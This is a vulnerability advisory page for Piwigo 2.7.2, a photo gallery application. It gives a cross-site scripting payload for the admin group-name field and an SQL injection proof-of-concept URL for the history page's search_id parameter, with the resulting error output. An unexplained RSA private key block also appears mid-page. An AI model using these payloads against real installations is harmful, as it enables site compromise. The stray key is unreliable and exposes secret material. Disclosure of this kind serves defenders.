Piwigo 2.7.2 Cross Site Scripting / SQL Injection

2014.12.20
Credit: TaurusOmar
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89
CWE-79

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INDEPENDENT SECURITY RESEARCHER PENETRATION TESTING SECURITY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # Exploit Title: Piwigo - SQL Injection / Cross Site Scripting Vulnerability's # Date: 19/12/2014 # Url Vendor: http://www.piwigo.org/ # Vendor Name: Piwigo # Version: 2.7.2 # CVE: CVE-2014-1470 # CVE References: CVE-2013-1468, CVE-2013-1469 # Author: TaurusOmar # Tiwtter: @TaurusOmar_ # Email: taurusomar13@gmail.com # Home: overhat.blogspot.com # Tested On: Bugtraq Optimus # Risk: High Description Piwigo is a photo gallery software for the web that comes with powerful features to publish and manage your collection of pictures. ------------------------ + CROSS SITE SCRIPTING + ------------------------ # Exploiting Description - Get into code xss in the box of group list. <fieldset> <legend>Add Group</legend><p> <strong>Name Group</strong><br> YOUR GROUP NAME O POC <input type="text" size="20" maxlength="50" name="groupname"></p> <p class="actionButtons"> <input type="submit" value="Add" name="submit_add" class="submit"> <a id="addGroupClose" href="#">Cancel</a></p> <input type="hidden" value="24322c55681c00da423a8a7b21b79640" name="pwg_token"> </fieldset> #P0c "><img src=x onerror=prompt(1);> #Proof Concept http://i.imgur.com/qFyJz6q.jpg ------------------------ + Sql Injection + ------------------------ # Exploiting Description - Sql Injection in control panel of admin and others users . #P0c http://site.com/piwigo/admin.php?page=history&search_id=5' SELECT date, time, user_id, IP, section, category_id, tag_ids, image_id, image_type FROM ucea_history WHERE ; in /home/site.com/public_html/piwigo/include/dblayer/functions_mysqli.inc.php on line 830 #Proof Concept http://i.imgur.com/wpzMmmu.jpg -----BEGIN RSA PRIVATE KEY----- MIICXQIBAAKBgQD995aYvrD2mK2fwwQr3FoAAprFLfMAiwR8cQUZW2XWDUSNJdvl Mq/1qym16+Yx7AVmXbsdCzqV/zeX+VUg6fUUWFwzNru6akjOlEHnSpNPxfJaCOEi 2AFovRie8LJyXtmXf1VFVU7l33/OBUsGJAUa2H4bR8ChTUffSHqkoFLE5wIDAQAB AoGBANJgFc/RpqWfM7Pzx7DNh4AaqDpOJc19Wun6dU7b9y+pLe/+PHlP05Kdhp+8 GaOg75gsbKNSeeVm1JZ/Y5UwOGJLn06W8PaBgkNG+b6tv9iRV7jSubEscwfGOXSX X5Hi9XP02MOrEsqOcgl6Xqpf8//fauhem8a4/iftk2hG3ngBAkEA/4C5QQePSOz/ WyypDfUC5Nr5h32zq5bvRY++v7ydzeSRQD8uri66zZuz0gGTzjGdyBUb2OuTDT4R 8RUcW1x9QQJBAP52GYGDg/+EE7ABX4zT/ZOHJScjlezxbwLiTsvWoESRUrQftLOL Wvl2IpeYpWvKIjTzyb5WH+IBWPFpM6RfsCcCQQDnqrDOrOsXhYSYB+uVMyYXmhEM 8EYb/HQhj4+2THCNQoUNSvyphMduLJKkhTeei1B0HeetDRS9uh0Mika29CrBAkAM BVg/Hg9mSr8DWY1CAeHAzmma57t1bhJoeHhweLspghP+HmFS+gpaLpKDxtpJtUrY ZYvqSfdHnfitruKZqUuRAkAti8p7b53+cFSm14WPNtdhJQnxniUcSKBtNm5ExO7J X54eZI4iddc9xnP4rySfwz933FhMRF9Eh3gPUYAPBpp/ -----END RSA PRIVATE KEY-----


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top